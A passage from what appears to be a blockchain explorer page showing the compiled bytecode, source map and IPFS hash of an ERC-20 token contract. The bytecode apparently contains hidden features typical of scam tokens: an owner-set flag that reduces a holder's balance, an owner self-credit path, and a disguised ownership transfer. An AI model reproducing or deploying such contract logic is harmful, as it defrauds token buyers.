fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109869061160a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f59061169c565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610adc9190611324565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061172e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe906117c0565b60405180910390fd5b60011515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610cca57610c866001610c78600854600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe390919063ffffffff16565b610fe390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cf46064610ce66009548561102d90919063ffffffff16565b610fe390919063ffffffff16565b9050610d4882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd7919061180f565b610de19190611843565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea39190611324565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610f069190611843565b604051610f139190611324565b60405180910390a350505050565b6000838311158290610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6091906111e4565b60405180910390fd5b5060008385610f789190611843565b9050809150509392505050565b6000808284610f94919061180f565b905083811015610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd0906118c3565b60405180910390fd5b8091505092915050565b600061102583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f1565b905092915050565b600080830361103f57600090506110a1565b6000828461104d91906118e3565b905082848261105c919061196c565b1461109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390611a0f565b60405180910390fd5b809150505b92915050565b60006110e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f21565b905092915050565b60008083118290611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f91906111e4565b60405180910390fd5b5060008385611147919061196c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118e578082015181840152602081019050611173565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b682611154565b6111c0818561115f565b93506111d0818560208601611170565b6111d98161119a565b840191505092915050565b600060208201905081810360008301526111fe81846111ab565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112368261120b565b9050919050565b6112468161122b565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b6000819050919050565b61127c81611269565b811461128757600080fd5b50565b60008135905061129981611273565b92915050565b600080604083850312156112b6576112b5611206565b5b60006112c485828601611254565b92505060206112d58582860161128a565b9150509250929050565b60008115159050919050565b6112f4816112df565b82525050565b600060208201905061130f60008301846112eb565b92915050565b61131e81611269565b82525050565b60006020820190506113396000830184611315565b92915050565b611348816112df565b811461135357600080fd5b50565b6000813590506113658161133f565b92915050565b6000806040838503121561138257611381611206565b5b600061139085828601611254565b92505060206113a185828601611356565b9150509250929050565b6000806000606084860312156113c4576113c3611206565b5b60006113d286828701611254565b93505060206113e386828701611254565b92505060406113f48682870161128a565b9150509250925092565b600060ff82169050919050565b611414816113fe565b82525050565b600060208201905061142f600083018461140b565b92915050565b60006020828403121561144b5761144a611206565b5b600061145984828501611254565b91505092915050565b61146b8161122b565b82525050565b60006020820190506114866000830184611462565b92915050565b600080604083850312156114a3576114a2611206565b5b60006114b185828601611254565b92505060206114c285828601611254565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061151357607f821691505b602082108103611526576115256114cc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061156260208361115f565b915061156d8261152c565b602082019050919050565b6000602082019050818103600083015261159181611555565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115f460248361115f565b91506115ff82611598565b604082019050919050565b60006020820190508181036000830152611623816115e7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061168660228361115f565b91506116918261162a565b604082019050919050565b600060208201905081810360008301526116b581611679565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061171860268361115f565b9150611723826116bc565b604082019050919050565b600060208201905081810360008301526117478161170b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117aa60248361115f565b91506117b58261174e565b604082019050919050565b600060208201905081810360008301526117d98161179d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061181a82611269565b915061182583611269565b925082820190508082111561183d5761183c6117e0565b5b92915050565b600061184e82611269565b915061185983611269565b9250828203905081811115611871576118706117e0565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006118ad601b8361115f565b91506118b882611877565b602082019050919050565b600060208201905081810360008301526118dc816118a0565b9050919050565b60006118ee82611269565b91506118f983611269565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611932576119316117e0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061197782611269565b915061198283611269565b9250826119925761199161193d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006119f960218361115f565b9150611a048261199d565b604082019050919050565b60006020820190508181036000830152611a28816119ec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a7607607291be2f9dd5fea3398f09b189f2ce359a0283e26fc7af4d758a133f64736f6c63430008100033

Deployed Bytecode Sourcemap

3510:3628:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4425:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5558:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4702:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5281:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5727:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4611:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4810:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3053:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4516;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4937:338;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3271:230;;;:::i;:::-;;5407:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4425:83;4462:13;4495:5;4488:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4425:83;:::o;5558:161::-;5633:4;5650:39;5659:12;:10;:12::i;:::-;5673:7;5682:6;5650:8;:39::i;:::-;5707:4;5700:11;;5558:161;;;;:::o;4702:100::-;4755:7;4782:12;;4775:19;;4702:100;:::o;5281:114::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5381:6:::1;5359:9;:19;5369:8;5359:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;5281:114:::0;;:::o;5727:313::-;5825:4;5842:36;5852:6;5860:9;5871:6;5842:9;:36::i;:::-;5889:121;5898:6;5906:12;:10;:12::i;:::-;5920:89;5958:6;5920:89;;;;;;;;;;;;;;;;;:11;:19;5932:6;5920:19;;;;;;;;;;;;;;;:33;5940:12;:10;:12::i;:::-;5920:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5889:8;:121::i;:::-;6028:4;6021:11;;5727:313;;;;;:::o;4611:83::-;4652:5;4677:9;;;;;;;;;;;4670:16;;4611:83;:::o;4810:119::-;4876:7;4903:9;:18;4913:7;4903:18;;;;;;;;;;;;;;;;4896:25;;4810:119;;;:::o;3053:87::-;3099:7;3126:6;;;;;;;;;;;3119:13;;3053:87;:::o;4516:::-;4555:13;4588:7;4581:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4516:87;:::o;4937:338::-;5024:4;5041:10;5054:12;:10;:12::i;:::-;5041:25;;5086:7;:5;:7::i;:::-;5080:13;;:2;:13;;;:40;;;;;5108:12;:10;:12::i;:::-;5097:23;;:7;:5;:7::i;:::-;:23;;;5080:40;5077:113;;;5152:26;5170:7;5152:9;:13;5162:2;5152:13;;;;;;;;;;;;;;;;:17;;:26;;;;:::i;:::-;5136:9;:13;5146:2;5136:13;;;;;;;;;;;;;;;:42;;;;5077:113;5212:33;5222:2;5226:9;5237:7;5212:9;:33::i;:::-;5263:4;5256:11;;;4937:338;;;;:::o;3271:230::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3378:42:::1;3341:81;;3362:6;::::0;::::1;;;;;;;;3341:81;;;;;;;;;;;;3450:42;3433:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3271:230::o:0;5407:143::-;5488:7;5515:11;:18;5527:5;5515:18;;;;;;;;;;;;;;;:27;5534:7;5515:27;;;;;;;;;;;;;;;;5508:34;;5407:143;;;;:::o;799:115::-;852:15;895:10;880:26;;799:115;:::o;6789:346::-;6908:1;6891:19;;:5;:19;;;6883:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6989:1;6970:21;;:7;:21;;;6962:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7073:6;7043:11;:18;7055:5;7043:18;;;;;;;;;;;;;;;:27;7062:7;7043:27;;;;;;;;;;;;;;;:36;;;;7111:7;7095:32;;7104:5;7095:32;;;7120:6;7095:32;;;;;;:::i;:::-;;;;;;;;6789:346;;;:::o;6048:733::-;6175:1;6157:20;;:6;:20;;;6149:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6260:1;6239:23;;:9;:23;;;6231:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;6338:4;6317:25;;:9;:17;6327:6;6317:17;;;;;;;;;;;;;;;;;;;;;;;;;:25;;;6314:110;;6379:33;6410:1;6379:26;6401:3;;6379:9;:17;6389:6;6379:17;;;;;;;;;;;;;;;;:21;;:26;;;;:::i;:::-;:30;;:33;;;;:::i;:::-;6359:9;:17;6369:6;6359:17;;;;;;;;;;;;;;;:53;;;;6314:110;6444:17;6488:30;6514:3;6488:21;6500:8;;6488:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;6476:42;;6549:30;6571:7;6549:9;:17;6559:6;6549:17;;;;;;;;;;;;;;;;:21;;:30;;;;:::i;:::-;6529:9;:17;6539:6;6529:17;;;;;;;;;;;;;;;:50;;;;6643:9;6635:7;6614:9;:20;6624:9;6614:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;:38;;;;:::i;:::-;6590:9;:20;6600:9;6590:20;;;;;;;;;;;;;;;:62;;;;6685:12;;;;;;;;;;;6668:41;;6677:6;6668:41;;;6699:9;6668:41;;;;;;:::i;:::-;;;;;;;;6742:9;6725:46;;6734:6;6725:46;;;6761:9;6753:7;:17;;;;:::i;:::-;6725:46;;;;;;:::i;:::-;;;;;;;;6136:645;6048:733;;;:::o;1521:226::-;1641:7;1674:1;1669;:6;;1677:12;1661:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1701:9;1717:1;1713;:5;;;;:::i;:::-;1701:17;;1738:1;1731:8;;;1521:226;;;;;:::o;1188:181::-;1246:7;1266:9;1282:1;1278;:5;;;;:::i;:::-;1266:17;;1307:1;1302;:6;;1294:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1360:1;1353:8;;;1188:181;;;;:::o;2015:132::-;2073:7;2100:39;2104:1;2107;2100:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2093:46;;2015:132;;;;:::o;1755:252::-;1813:7;1844:1;1839;:6;1835:47;;1869:1;1862:8;;;;1835:47;1894:9;1910:1;1906;:5;;;;:::i;:::-;1894:17;;1939:1;1934;1930;:5;;;;:::i;:::-;:10;1922:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1998:1;1991:8;;;1755:252;;;;;:::o;1377:136::-;1435:7;1462:43;1466:1;1469;1462:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1455:50;;1377:136;;;;:::o;2155:227::-;2275:7;2307:1;2303;:5;2310:12;2295:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2334:9;2350:1;2346;:5;;;;:::i;:::-;2334:17;;2373:1;2366:8;;;2155:227;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:116::-;3868:21;3883:5;3868:21;:::i;:::-;3861:5;3858:32;3848:60;;3904:1;3901;3894:12;3848:60;3798:116;:::o;3920:133::-;3963:5;4001:6;3988:20;3979:29;;4017:30;4041:5;4017:30;:::i;:::-;3920:133;;;;:::o;4059:468::-;4124:6;4132;4181:2;4169:9;4160:7;4156:23;4152:32;4149:119;;;4187:79;;:::i;:::-;4149:119;4307:1;4332:53;4377:7;4368:6;4357:9;4353:22;4332:53;:::i;:::-;4322:63;;4278:117;4434:2;4460:50;4502:7;4493:6;4482:9;4478:22;4460:50;:::i;:::-;4450:60;;4405:115;4059:468;;;;;:::o;4533:619::-;4610:6;4618;4626;4675:2;4663:9;4654:7;4650:23;4646:32;4643:119;;;4681:79;;:::i;:::-;4643:119;4801:1;4826:53;4871:7;4862:6;4851:9;4847:22;4826:53;:::i;:::-;4816:63;;4772:117;4928:2;4954:53;4999:7;4990:6;4979:9;4975:22;4954:53;:::i;:::-;4944:63;;4899:118;5056:2;5082:53;5127:7;5118:6;5107:9;5103:22;5082:53;:::i;:::-;5072:63;;5027:118;4533:619;;;;;:::o;5158:86::-;5193:7;5233:4;5226:5;5222:16;5211:27;;5158:86;;;:::o;5250:112::-;5333:22;5349:5;5333:22;:::i;:::-;5328:3;5321:35;5250:112;;:::o;5368:214::-;5457:4;5495:2;5484:9;5480:18;5472:26;;5508:67;5572:1;5561:9;5557:17;5548:6;5508:67;:::i;:::-;5368:214;;;;:::o;5588:329::-;5647:6;5696:2;5684:9;5675:7;5671:23;5667:32;5664:119;;;5702:79;;:::i;:::-;5664:119;5822:1;5847:53;5892:7;5883:6;5872:9;5868:22;5847:53;:::i;:::-;5837:63;;5793:117;5588:329;;;;:::o;5923:118::-;6010:24;6028:5;6010:24;:::i;:::-;6005:3;5998:37;5923:118;;:::o;6047:222::-;6140:4;6178:2;6167:9;6163:18;6155:26;;6191:71;6259:1;6248:9;6244:17;6235:6;6191:71;:::i;:::-;6047:222;;;;:::o;6275:474::-;6343:6;6351;6400:2;6388:9;6379:7;6375:23;6371:32;6368:119;;;6406:79;;:::i;:::-;6368:119;6526:1;6551:53;6596:7;6587:6;6576:9;6572:22;6551:53;:::i;:::-;6541:63;;6497:117;6653:2;6679:53;6724:7;6715:6;6704:9;6700:22;6679:53;:::i;:::-;6669:63;;6624:118;6275:474;;;;;:::o;6755:180::-;6803:77;6800:1;6793:88;6900:4;6897:1;6890:15;6924:4;6921:1;6914:15;6941:320;6985:6;7022:1;7016:4;7012:12;7002:22;;7069:1;7063:4;7059:12;7090:18;7080:81;;7146:4;7138:6;7134:17;7124:27;;7080:81;7208:2;7200:6;7197:14;7177:18;7174:38;7171:84;;7227:18;;:::i;:::-;7171:84;6992:269;6941:320;;;:::o;7267:182::-;7407:34;7403:1;7395:6;7391:14;7384:58;7267:182;:::o;7455:366::-;7597:3;7618:67;7682:2;7677:3;7618:67;:::i;:::-;7611:74;;7694:93;7783:3;7694:93;:::i;:::-;7812:2;7807:3;7803:12;7796:19;;7455:366;;;:::o;7827:419::-;7993:4;8031:2;8020:9;8016:18;8008:26;;8080:9;8074:4;8070:20;8066:1;8055:9;8051:17;8044:47;8108:131;8234:4;8108:131;:::i;:::-;8100:139;;7827:419;;;:::o;8252:223::-;8392:34;8388:1;8380:6;8376:14;8369:58;8461:6;8456:2;8448:6;8444:15;8437:31;8252:223;:::o;8481:366::-;8623:3;8644:67;8708:2;8703:3;8644:67;:::i;:::-;8637:74;;8720:93;8809:3;8720:93;:::i;:::-;8838:2;8833:3;8829:12;8822:19;;8481:366;;;:::o;8853:419::-;9019:4;9057:2;9046:9;9042:18;9034:26;;9106:9;9100:4;9096:20;9092:1;9081:9;9077:17;9070:47;9134:131;9260:4;9134:131;:::i;:::-;9126:139;;8853:419;;;:::o;9278:221::-;9418:34;9414:1;9406:6;9402:14;9395:58;9487:4;9482:2;9474:6;9470:15;9463:29;9278:221;:::o;9505:366::-;9647:3;9668:67;9732:2;9727:3;9668:67;:::i;:::-;9661:74;;9744:93;9833:3;9744:93;:::i;:::-;9862:2;9857:3;9853:12;9846:19;;9505:366;;;:::o;9877:419::-;10043:4;10081:2;10070:9;10066:18;10058:26;;10130:9;10124:4;10120:20;10116:1;10105:9;10101:17;10094:47;10158:131;10284:4;10158:131;:::i;:::-;10150:139;;9877:419;;;:::o;10302:225::-;10442:34;10438:1;10430:6;10426:14;10419:58;10511:8;10506:2;10498:6;10494:15;10487:33;10302:225;:::o;10533:366::-;10675:3;10696:67;10760:2;10755:3;10696:67;:::i;:::-;10689:74;;10772:93;10861:3;10772:93;:::i;:::-;10890:2;10885:3;10881:12;10874:19;;10533:366;;;:::o;10905:419::-;11071:4;11109:2;11098:9;11094:18;11086:26;;11158:9;11152:4;11148:20;11144:1;11133:9;11129:17;11122:47;11186:131;11312:4;11186:131;:::i;:::-;11178:139;;10905:419;;;:::o;11330:223::-;11470:34;11466:1;11458:6;11454:14;11447:58;11539:6;11534:2;11526:6;11522:15;11515:31;11330:223;:::o;11559:366::-;11701:3;11722:67;11786:2;11781:3;11722:67;:::i;:::-;11715:74;;11798:93;11887:3;11798:93;:::i;:::-;11916:2;11911:3;11907:12;11900:19;;11559:366;;;:::o;11931:419::-;12097:4;12135:2;12124:9;12120:18;12112:26;;12184:9;12178:4;12174:20;12170:1;12159:9;12155:17;12148:47;12212:131;12338:4;12212:131;:::i;:::-;12204:139;;11931:419;;;:::o;12356:180::-;12404:77;12401:1;12394:88;12501:4;12498:1;12491:15;12525:4;12522:1;12515:15;12542:191;12582:3;12601:20;12619:1;12601:20;:::i;:::-;12596:25;;12635:20;12653:1;12635:20;:::i;:::-;12630:25;;12678:1;12675;12671:9;12664:16;;12699:3;12696:1;12693:10;12690:36;;;12706:18;;:::i;:::-;12690:36;12542:191;;;;:::o;12739:194::-;12779:4;12799:20;12817:1;12799:20;:::i;:::-;12794:25;;12833:20;12851:1;12833:20;:::i;:::-;12828:25;;12877:1;12874;12870:9;12862:17;;12901:1;12895:4;12892:11;12889:37;;;12906:18;;:::i;:::-;12889:37;12739:194;;;;:::o;12939:177::-;13079:29;13075:1;13067:6;13063:14;13056:53;12939:177;:::o;13122:366::-;13264:3;13285:67;13349:2;13344:3;13285:67;:::i;:::-;13278:74;;13361:93;13450:3;13361:93;:::i;:::-;13479:2;13474:3;13470:12;13463:19;;13122:366;;;:::o;13494:419::-;13660:4;13698:2;13687:9;13683:18;13675:26;;13747:9;13741:4;13737:20;13733:1;13722:9;13718:17;13711:47;13775:131;13901:4;13775:131;:::i;:::-;13767:139;;13494:419;;;:::o;13919:348::-;13959:7;13982:20;14000:1;13982:20;:::i;:::-;13977:25;;14016:20;14034:1;14016:20;:::i;:::-;14011:25;;14204:1;14136:66;14132:74;14129:1;14126:81;14121:1;14114:9;14107:17;14103:105;14100:131;;;14211:18;;:::i;:::-;14100:131;14259:1;14256;14252:9;14241:20;;13919:348;;;;:::o;14273:180::-;14321:77;14318:1;14311:88;14418:4;14415:1;14408:15;14442:4;14439:1;14432:15;14459:185;14499:1;14516:20;14534:1;14516:20;:::i;:::-;14511:25;;14550:20;14568:1;14550:20;:::i;:::-;14545:25;;14589:1;14579:35;;14594:18;;:::i;:::-;14579:35;14636:1;14633;14629:9;14624:14;;14459:185;;;;:::o;14650:220::-;14790:34;14786:1;14778:6;14774:14;14767:58;14859:3;14854:2;14846:6;14842:15;14835:28;14650:220;:::o;14876:366::-;15018:3;15039:67;15103:2;15098:3;15039:67;:::i;:::-;15032:74;;15115:93;15204:3;15115:93;:::i;:::-;15233:2;15228:3;15224:12;15217:19;;14876:366;;;:::o;15248:419::-;15414:4;15452:2;15441:9;15437:18;15429:26;;15501:9;15495:4;15491:20;15487:1;15476:9;15472:17;15465:47;15529:131;15655:4;15529:131;:::i;:::-;15521:139;;15248:419;;;:::o

Swarm Source

ipfs://9a7607607291be2f9dd5fea3398f09b189f2ce359a0283e26fc7af4d758a133f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.